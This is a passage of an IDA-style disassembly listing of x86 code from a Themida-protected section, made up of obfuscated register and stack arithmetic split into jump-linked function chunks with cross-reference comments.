; FUNCTION CHUNK AT 0055BB36 SIZE 00000014 BYTES
push ebx
mov ebx, 6BD23036h
or ebx, 65FC586Ch
jmp loc_559A17
sub_555B85 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_555B96: ; CODE XREF: Themida_:00553D12j
pop ecx
sub esp, 4
mov [esp], eax
mov eax, 4
sub ecx, 216A36C9h
add ecx, 6FC603BAh
add ecx, eax
sub ecx, 6FC603BAh
add ecx, 216A36C9h
pop eax
sub esp, 4
mov [esp], ebx
mov ebx, 2
sub ecx, 44AA27B5h
jmp loc_559273
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555BD3: ; CODE XREF: sub_556A70+4DBCj
add ebp, 4
xchg ebp, [esp-26h+arg_20+2]
mov esp, [esp-26h+arg_20+2]
jmp loc_558DA8
; ---------------------------------------------------------------------------
loc_555BE4: ; CODE XREF: sub_556A70-51B5j
sub edi, 0CFE2EDBCh
add ebx, edi
pop edi
add ebx, 2
xchg ebx, [esp+0Ch+var_C]
pop esp
jmp loc_5541B9
; ---------------------------------------------------------------------------
loc_555BFC: ; CODE XREF: sub_556A70+15D3j
add ecx, 1DD52461h
dec ecx
add ecx, 0CEB9EB8h
add esi, ecx
mov ecx, [esp+8+var_8]
jmp loc_5578BB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555C13: ; CODE XREF: Themida_:00551113j
push edx
push eax
push 3E7Ch
mov [esp], ecx
push 5BC02EAFh
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, 5F121972h
sub ecx, ebx
pop ebx
shr ecx, 8
or ecx, 194917D1h
jmp loc_556182
; ---------------------------------------------------------------------------
loc_555C42: ; CODE XREF: Themida_:00554C93j
add esi, ebp
pop ebp
jmp loc_555C5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555C4A: ; CODE XREF: sub_556A70+35AEj
mov esp, [esp+8+var_8]
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push [esp+0Ch+var_C]
jmp loc_5520FE
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555C5D: ; CODE XREF: Themida_:00555C45j
add eax, 127717B8h
sub eax, esi
sub eax, 127717B8h
jmp loc_55AB86
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555C6E: ; CODE XREF: sub_556A70+524Fj
push edx
jmp loc_551F95
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A748
loc_555C74: ; CODE XREF: sub_55A748-B55j
add esi, 4
xchg esi, [esp+10h+var_10]
jmp loc_551784
; END OF FUNCTION CHUNK FOR sub_55A748
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555C82: ; CODE XREF: sub_556A70+188j
mov bp, 24A3h
xor di, bp
pop bp
xor di, 1AAEh
or di, 3DEEh
shl di, 5
sub di, 8C10h
and cx, di
pop edi
xor cx, 7E6Fh
jmp loc_5532DB
; ---------------------------------------------------------------------------
loc_555CAC: ; CODE XREF: sub_556A70-5D2Ej
add eax, ebx
sub eax, 77107898h
sub eax, 22DC0DEEh
jmp loc_55B93B
; ---------------------------------------------------------------------------
loc_555CBD: ; CODE XREF: sub_556A70+2F8j
mov ebx, [esp-8+arg_4]
jmp loc_551EE5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555CC5: ; CODE XREF: Themida_:00554773j
add ebp, 36BC6470h
add ebp, 5F8D3728h
sub ebp, 62107A5Ch
add ecx, ebp
pop ebp
push esi
mov esi, 4
jmp loc_557567
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555CE5: ; CODE XREF: sub_556A70-13F9j
xor eax, ebp
push [esp-20h+arg_1C]
pop ebp
push ebp
mov ebp, esp
jmp loc_550FD9
; ---------------------------------------------------------------------------
loc_555CF3: ; CODE XREF: sub_556A70+40C0j
push [esp-1Ch+arg_18]
mov eax, [esp-18h+arg_14]
push ecx
mov ecx, esp
add ecx, 4
push edx
mov edx, 4
add ecx, edx
pop edx
xor ecx, [esp-14h+arg_10]
xor [esp-14h+arg_10], ecx
xor ecx, [esp-14h+arg_10]
jmp loc_551667
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555D19: ; CODE XREF: Themida_:00556558j
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_555D28: ; CODE XREF: Themida_:00552ABEj
sub ebp, 4D347D11h
add ebp, eax
add ebp, 4D347D11h
sub ebp, 0ABC6925h
jmp loc_555992
; ---------------------------------------------------------------------------
loc_555D41: ; CODE XREF: Themida_:005591C1j
pop eax
push 53A1h
mov [esp], ebx
mov ebx, 0EEAFBFECh
add esi, 33196B72h
add esi, ebx
sub esi, 33196B72h
jmp loc_557236
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555D62: ; CODE XREF: sub_556A70-51AAj
push edx
mov edx, 23423CB3h
sub edx, 0E209DC9Eh
jmp loc_556506
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555D73: ; CODE XREF: Themida_:0055697Dj
sub [esp], esi
pop esi
push eax
jmp loc_553557
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555D7D: ; CODE XREF: sub_556A70-222Bj
dec ch
sub ch, 0C2h
sub ch, 5Eh
sub al, ch
pop ecx
mov edx, [esp-14h+arg_10]
add esp, 4
sub al, bl
push ecx
mov ch, 63h
sub ch, 0FFh
xor ch, 0FFh
jmp loc_552C41
; ---------------------------------------------------------------------------
loc_555D9E: ; CODE XREF: sub_556A70+3AC5j
mov eax, [esp-14h+arg_10]
add esp, 4
jmp loc_5573DE
; ---------------------------------------------------------------------------
loc_555DAC: ; CODE XREF: sub_556A70-62Ej
mov esi, [esp-18h+arg_14]
add esp, 4
jmp loc_550D02
; ---------------------------------------------------------------------------
loc_555DBA: ; CODE XREF: sub_556A70+5F4j
add ecx, 4
xchg ecx, [esp-1Ch+arg_18]
pop esp
jmp loc_553082
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555DC6: ; CODE XREF: Themida_:00552B92j
pop edx
mov ebp, [esp]
add esp, 4
jmp loc_552BB1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555DD2: ; CODE XREF: sub_556A70-3124j
push ecx
push edi
mov edi, 19125F4Ch
mov ecx, 19125F50h
sub ecx, edi
mov edi, [esp-14h+arg_10]
add esp, 4
add edi, ecx
push [esp-18h+arg_14]
pop ecx
add esp, 4
add edi, 4
jmp loc_55565F
; ---------------------------------------------------------------------------
loc_555E00: ; CODE XREF: sub_556A70+3C36j
add edi, 4
push edi
push [esp-18h+arg_18]
pop edi
pop [esp-18h+arg_14]
pop esp
add esp, 4
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_555E1B: ; CODE XREF: sub_556A70+27DCj
push 76B7h
mov [esp-20h+arg_1C], esi
mov esi, 26D1C1Ch
sub [esp-20h+arg_20], esi
push [esp-20h+arg_1C]
jmp loc_55C5E9
; ---------------------------------------------------------------------------
loc_555E34: ; CODE XREF: sub_556A70+2B0j
push edx
push ebx
mov bl, ch
mov dh, bl
pop ebx
mov bl, dh
pop edx
push [esp-1Ch+arg_18]
jmp loc_55A9DC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555E46: ; CODE XREF: Themida_:005528A7j
mov ebp, 559C1C7Bh
mov edi, ebp
jmp loc_551C0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555E52: ; CODE XREF: sub_556A70-47C2j
add esp, 4
jmp loc_55145B
; ---------------------------------------------------------------------------
loc_555E5D: ; CODE XREF: sub_556A70-31D2j
mov edx, [esp-10h+arg_C]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_554D97
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5599E2
loc_555E6E: ; CODE XREF: sub_5599E2-679Dj
push [esp+8+var_8]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
push esi
jmp loc_55745E
; END OF FUNCTION CHUNK FOR sub_5599E2
; ---------------------------------------------------------------------------
loc_555E81: ; CODE XREF: Themida_:00558B78j
dec ecx
jmp loc_55B8D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AE68
loc_555E87: ; CODE XREF: sub_55AE68+1j
mov ebx, 2F674F79h
push ebx
push ebp
mov ebp, 62BF348Eh
jmp loc_556D5C
; END OF FUNCTION CHUNK FOR sub_55AE68
; ---------------------------------------------------------------------------
loc_555E98: ; CODE XREF: Themida_:0055926Ej
add esp, 4
push 23E4h
mov [esp], ebx
push 3E75h
mov [esp], edx
mov dl, 0F3h
jmp loc_559483
; ---------------------------------------------------------------------------
loc_555EB2: ; CODE XREF: Themida_:00550AE1j
push ecx
jmp loc_5540F9
; ---------------------------------------------------------------------------
loc_555EB8: ; CODE XREF: Themida_:00552C23j
push ecx
mov ecx, 4
sub ebp, ecx
jmp loc_55CCF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A9A4
loc_555EC5: ; CODE XREF: sub_55A9A4+11j
mov cl, al
pop eax
jmp loc_55A80C
; END OF FUNCTION CHUNK FOR sub_55A9A4
; ---------------------------------------------------------------------------
loc_555ECD: ; CODE XREF: Themida_:0055AF94j
push eax
mov eax, esp
push ebx
mov ebx, 4
add eax, ebx
jmp loc_558F90
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555EDD: ; CODE XREF: sub_556A70+969j
sub al, ch
pop ecx
jmp loc_559281
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555EE5: ; CODE XREF: Themida_:00554C77j
push eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
add eax, ebx
jmp loc_559D34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555EFA: ; CODE XREF: sub_556A70+5974j
pop ebp
push edi
push eax
mov eax, ebp
jmp loc_554485
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555F04: ; CODE XREF: Themida_:00553CD0j
or ebx, eax
jmp loc_551A3C
; ---------------------------------------------------------------------------
loc_555F0B: ; CODE XREF: Themida_:00553485j
test cl, al
pushf
jmp loc_5511FF
; =============== S U B R O U T I N E =======================================
sub_555F13 proc near ; CODE XREF: sub_557EBA+25A8j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055B8FB SIZE 00000005 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+4+var_4]
pop esp
mov edx, ebx
pop ebx
jmp loc_55B8FB
sub_555F13 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555F2F: ; CODE XREF: sub_556A70+C6Cj
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp-0Ch+arg_8]
pop esp
mov [esp-10h+arg_C], esp
jmp loc_550B90
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555F46: ; CODE XREF: Themida_:005557F6j
sub ecx, 262E5A76h
jmp loc_5515BE
; ---------------------------------------------------------------------------
loc_555F51: ; CODE XREF: Themida_:0055243Bj
mov [esp], esi
push 565C1995h
pop esi
jmp loc_55486D
; ---------------------------------------------------------------------------
loc_555F5F: ; CODE XREF: Themida_:0055AB55j
pop edx
push eax
mov eax, 4
sub ebx, 4132071h
add ebx, eax
add ebx, 4132071h
jmp loc_5575CC
; ---------------------------------------------------------------------------
loc_555F79: ; CODE XREF: Themida_:0055C780j
push 6FD1h
mov [esp], esi
push 149Ch
mov [esp], esp
push esi
mov esi, 4
jmp loc_5536C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555F94: ; CODE XREF: sub_556A70+A9Aj
xor edx, 0DEE00004h
add ebx, edx
pop edx
push ecx
jmp loc_555317
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555FA3: ; CODE XREF: Themida_:00554E68j
add eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_55C556
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A748
loc_555FB4: ; CODE XREF: sub_55A748+1AB1j
xchg edx, [esp+4+var_4]
pop esp
jmp loc_552DFE
; END OF FUNCTION CHUNK FOR sub_55A748
; ---------------------------------------------------------------------------
loc_555FBD: ; CODE XREF: Themida_:005592D4j
pop esi
xor ecx, [esp]
jmp loc_553699
; ---------------------------------------------------------------------------
loc_555FC6: ; CODE XREF: Themida_:00557BDAj
add esp, 4
push edi
mov edi, 7EC46181h
sub edi, 0FFFFFFFFh
xor edi, 476B41F3h
shr edi, 7
add edi, 0FF8CA1C4h
add ebx, edi
mov edi, [esp]
add esp, 4
push esi
mov esi, 4
add ebx, esi
pop esi
jmp loc_55C277
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555FFD: ; CODE XREF: sub_556A70+613j
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], esi
xor esi, [esp-0Ch+arg_8]
pop esp
mov [esp-10h+arg_C], ecx
push ebx
jmp loc_55A506
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_55601C: ; CODE XREF: sub_55B730-9BDj
pop ebp
sub ebp, 4CE60C68h
add ebp, 47D178B6h
add ebp, ebx
sub ebp, 47D178B6h
jmp loc_553DC5
; END OF FUNCTION CHUNK FOR sub_55B730
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556036: ; CODE XREF: sub_556A70+40EFj
mov edx, esp
sub esp, 4
mov [esp-8+arg_4], eax
mov eax, 4
add edx, eax
jmp loc_556719
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55604D: ; CODE XREF: Themida_:0055B41Cj
mov ch, 89h
sub al, ch
pop cx
jmp loc_551F76
; =============== S U B R O U T I N E =======================================
sub_556058 proc near ; CODE XREF: sub_556A70+BCFj
push ebx
push ebp
push 292E31F1h
pop ebp
jmp loc_55750F
sub_556058 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556065: ; CODE XREF: sub_556A70+3B9j
mov ecx, 2
add edx, ecx
pop ecx
xchg edx, [esp-0Ch+arg_8]
pop esp
bts word ptr [esp-10h+arg_C], ax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55607C: ; CODE XREF: sub_556A70+506Bj
mov [esp-0Ch+arg_8], ebp
mov ebp, esp
jmp loc_55C64F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_556086: ; CODE XREF: Themida_:0055345Aj
xor bh, 23h
xor ch, bh
pop ebx
or ch, 0C5h
add ch, 18h
jmp loc_557F58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556097: ; CODE XREF: sub_556A70-155j
sub edi, 62995DB6h
sub edi, 53502266h
sub edi, eax
add edi, 53502266h
add edi, 62995DB6h
pop eax
add ebp, edi
pop edi
push edi
mov edi, 254B1651h
sub edi, 66BB0CC6h
neg edi
inc edi
sub edi, 9DC97F4Ah
sub ebp, edi
pop edi
sub [edi+24h], ebp
pop ebp
loc_5560D1: ; CODE XREF: sub_5584F8-7A2Ej
push 5A53h
jmp loc_55AB2D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D17
loc_5560DB: ; CODE XREF: sub_553D17+1j
mov bl, 9Bh
xor bl, 2
sub bl, 0C0h
sub esp, 4
jmp loc_550BF5
; END OF FUNCTION CHUNK FOR sub_553D17
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5560EE: ; CODE XREF: sub_556A70+3E7Dj
push esi
push 35F50D83h
pop esi
dec esi
not esi
jmp loc_55275E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5560FD: ; CODE XREF: Themida_:00550BB6j
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_558D26
; ---------------------------------------------------------------------------
loc_556116: ; CODE XREF: Themida_:00559A9Ej
add esp, 4
pop dword ptr [esp]
pop esp
mov ax, [esp]
push 6CF2h
mov [esp], ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
push 2
jmp loc_55C321
; ---------------------------------------------------------------------------
loc_556151: ; CODE XREF: Themida_:00558ED8j
mov ebx, esp
push edx
push ebx
mov ebx, 5AAC50EEh
dec ebx
jmp loc_55AB35
; ---------------------------------------------------------------------------
loc_556160: ; CODE XREF: Themida_:00558486j
pop ebp
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_556166: ; CODE XREF: Themida_:00551E57j
push 10F2h
mov [esp], edx
push ebx
jmp loc_551688
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556174: ; CODE XREF: sub_556A70+19A5j
add esp, 4
pop [esp-14h+arg_10]
jmp loc_559240
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_556182: ; CODE XREF: Themida_:00555C3Dj
add ecx, 0F6D88057h
mov eax, ecx
pop ecx
mov edx, eax
pop eax
push edi
mov edi, 5D70168Ch
dec edi
shl edi, 7
push 0
sub [esp], edi
pop edi
xor edi, 7CE06E47h
push esi
mov esi, 79C3054Eh
dec esi
dec esi
add esi, 0C76B7E1Ch
xor edi, esi
jmp loc_55C601
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5561BC: ; CODE XREF: sub_556A70+1EB1j
add edx, 7B6B14B2h
sub edx, edi
sub edx, 7B6B14B2h
push [esp-18h+arg_14]
jmp loc_555A73
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_5561D2: ; CODE XREF: sub_5516F8+B4Bj
neg eax
neg eax
xor eax, 0C0C148D4h
mov ecx, eax
jmp loc_55A204
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
loc_5561E2: ; CODE XREF: Themida_:0055AFBDj
sub esp, 4
mov [esp], esi
push esp
push dword ptr [esp]
pop esi
add esp, 4
push ebp
mov ebp, 4
add esi, ebp
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
mov ecx, 2
add esi, ecx
mov ecx, [esp]
add esp, 4
xchg esi, [esp]
mov esp, [esp]
sub [esp], al
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556223: ; CODE XREF: sub_556A70+3543j
xor ebx, edx
xchg esi, edx
jmp loc_559A56
; ---------------------------------------------------------------------------
loc_55622C: ; CODE XREF: sub_556A70+2C72j
pop esi
push ebp
mov ebp, 9AD49CFh
jmp loc_559AE7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_556238: ; CODE XREF: sub_5584F8+2439j
not ebp
and ebp, 342A58C1h
push edx
jmp loc_550F7E
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556246: ; CODE XREF: sub_556A70-3B24j
push ecx
jmp loc_559BB2
; ---------------------------------------------------------------------------
loc_55624C: ; CODE XREF: sub_556A70-177Dj
mov esp, [esp+4+var_4]
inc byte ptr [esp+4+var_4]
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_556258: ; CODE XREF: Themida_:00552727j
push 2D5Fh
mov [esp], ebp
jmp loc_5579E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556265: ; CODE XREF: sub_556A70+1EAAj
pop eax
add edx, eax
add dword ptr [edx], 1
mov edx, [esp+4+var_4]
add esp, 4
mov eax, [esp+0]
jmp loc_55ACBB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550BFD
loc_55627F: ; CODE XREF: sub_550BFD+18j
xor ebx, 0E3888659h
jmp loc_559427
; END OF FUNCTION CHUNK FOR sub_550BFD
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_556292: ; CODE XREF: Themida_:00552BDDj
pop edx
push edi
jmp loc_554132
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556299: ; CODE XREF: sub_556A70+25FDj
xor [esp+0], ebp
jmp loc_55774F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5562A1: ; CODE XREF: Themida_:0055CD02j
xor eax, 7A0D18ECh
jmp loc_5535B8
; ---------------------------------------------------------------------------
loc_5562AB: ; CODE XREF: Themida_:0055AEF2j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 283Dh
mov [esp], edx
mov edx, esp
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
push ebp
mov ebp, 28B03E8Eh
jmp loc_555759
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5562DE: ; CODE XREF: sub_556A70-37D1j
shr esi, 5
xor esi, 0F79047AFh
sub edx, esi
pop esi
and eax, edx
mov edx, [esp-1Eh+arg_18+2]
sub esp, 4
jmp loc_55634F
; ---------------------------------------------------------------------------
loc_5562F7: ; CODE XREF: sub_556A70-14j
add edi, 547A2D33h
pop ebx
pop ebp
xchg edi, [esp-22h+arg_1C+2]
mov esp, [esp-22h+arg_1C+2]
mov word ptr [esp-22h+arg_1C+2], ax
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_55630E: ; CODE XREF: sub_5566B9-4694j
push ecx
push ebp
jmp loc_550F6C
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], ebp
mov ebp, 70CC7DF4h
shl ebp, 7
add ebp, 0FFFFFFFFh
sub ebp, 1D3601FDh
push esi
mov esi, 0DCEEB98Eh
add ebp, 4F0902CEh
sub ebp, esi
sub ebp, 4F0902CEh
pop esi
add eax, 2B715068h
jmp loc_552B7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55634F: ; CODE XREF: sub_556A70-77Ej
mov [esp-1Ah+arg_14+2], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp-1Ah+arg_14+2]
pop esp
or eax, eax
jz loc_55ACC7
push dword ptr [edi+1Ch]
push edx
mov edx, esp
jmp loc_558A39
; ---------------------------------------------------------------------------
loc_556377: ; CODE XREF: sub_556A70+B40j
mov ebp, esi
pop esi
jmp loc_551EFC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55637F: ; CODE XREF: Themida_:00559DAFj
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
mov edx, 4
add ecx, edx
jmp loc_553AAE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557F09
loc_55639E: ; CODE XREF: sub_557F09-6EA0j
push 5A7Ch
mov [esp+0Ch+var_C], ebx
pop ecx
push [esp+8+var_8]
jmp loc_559D44
; END OF FUNCTION CHUNK FOR sub_557F09
; ---------------------------------------------------------------------------
loc_5563AF: ; CODE XREF: Themida_:00550CB8j
pop edx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_55B6B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550E2C
loc_5563BC: ; CODE XREF: sub_550E2C+93D3j
mov edi, 4
add eax, edi
mov edi, [esp+0]
add esp, 4
push eax
push [esp+arg_0]
pop eax
pop dword ptr [esp+0]
pop esp
movsx ecx, ax
push eax
push esp
pop eax
jmp sub_5526D6
; END OF FUNCTION CHUNK FOR sub_550E2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CC90
loc_5563DE: ; CODE XREF: sub_55CC90+3j
mov [esp+8+var_8], esp
push ebp
mov ebp, 4
add [esp+0Ch+var_8], ebp
pop ebp
jmp loc_552FAD
; END OF FUNCTION CHUNK FOR sub_55CC90
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5563F1: ; CODE XREF: sub_556A70+60D6j
pop ebp
add esi, 67F357D5h
add esi, edi
jmp loc_55B5F5
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_5563FF proc near ; CODE XREF: sub_556A70-3966j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055C6E0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055CB76 SIZE 00000027 BYTES
push ebx
mov ebx, 69EA5388h
add ebp, ebx
pop ebx
jmp loc_55CB76
sub_5563FF endp
; ---------------------------------------------------------------------------
loc_55640D: ; CODE XREF: Themida_:0055C33Dj
pop edx
add ebp, edx
add ebp, 646C5B0Bh
pop edx
jmp loc_55B8A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55641C: ; CODE XREF: sub_556A70-5B22j
shr eax, 3
neg eax
jmp loc_555255
; ---------------------------------------------------------------------------
loc_556426: ; CODE XREF: sub_556A70+1B4Ej
xor esi, ebp
mov ebp, [esp+0Ch+var_C]
add esp, 4
shl esi, 6
push edx
mov edx, 16EA4E48h
or esi, edx
pop edx
sub esi, 7EFDFFC8h
and eax, esi
jmp loc_555DAC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553651
loc_556447: ; CODE XREF: sub_553651+79D2j
mov eax, 4
jmp loc_5529A9
; END OF FUNCTION CHUNK FOR sub_553651
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55515F
loc_556451: ; CODE XREF: sub_55515F-BF7j
push eax
jmp loc_551A56
; END OF FUNCTION CHUNK FOR sub_55515F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_556457: ; CODE XREF: sub_5584F8-7AA5j
shr ecx, 0Bh
push 1D2h
mov [esp+0], ebx
push esp
jmp loc_5585A5
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_556468: ; CODE XREF: Themida_:0055307Dj
add ebp, 4
sub esp, 4
mov [esp], edx
jmp loc_558E31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5582B3
loc_55647C: ; CODE XREF: sub_5582B3-4D96j
sub ebx, 46BC65F2h
add ebx, eax
add ebx, 46BC65F2h
push ebp
push eax
push 0ED36ACh
pop eax
shr eax, 5
sub eax, 0EEEB3588h
mov ebp, eax
pop eax
add ebx, 374F539Bh
add ebx, ebp
jmp sub_557EBA
; END OF FUNCTION CHUNK FOR sub_5582B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5564AA: ; CODE XREF: sub_556A70-2DCCj
add edi, 4
add edi, 4
xchg edi, [esp+8+var_8]
pop esp
add ebp, 4
push ebx
push esi
push 6EAA1A09h
pop esi
xor esi, 79631CE8h
inc esi
jmp loc_551F4C
; ---------------------------------------------------------------------------
loc_5564D4: ; CODE XREF: sub_556A70-2B2j
push ecx
jmp loc_552E48
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5564DA: ; CODE XREF: Themida_:00558A02j
xor [esp], al
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5564E3: ; CODE XREF: sub_556A70+998j
not edi
sub edi, 40614549h
sub eax, edi
pop edi
dec eax
add eax, 16DF333Dh
jmp loc_55102D
; ---------------------------------------------------------------------------
loc_5564F9: ; CODE XREF: sub_556A70+5248j
mov [esp+0Ch+var_C], edx
mov edx, 24h
jmp loc_5594C2
; ---------------------------------------------------------------------------
loc_556506: ; CODE XREF: sub_556A70-D02j
add ebx, edx
mov edx, [esp+14h+var_14]
add esp, 4
add edi, 4B3D008Bh
sub edi, 657E4EC9h
add edi, ebx
add edi, 657E4EC9h
sub edi, 4B3D008Bh
pop ebx
add edi, 2
jmp loc_559A63
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_556531: ; CODE XREF: Themida_:00553064j
or edi, ebx
jmp loc_55B7A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556538: ; CODE XREF: sub_556A70+27Cj
push [esp+0Ch+var_C]
pop edx
add esp, 4
jmp sub_558AE7
; END OF FUNCTION CHUNK FOR sub_556A70
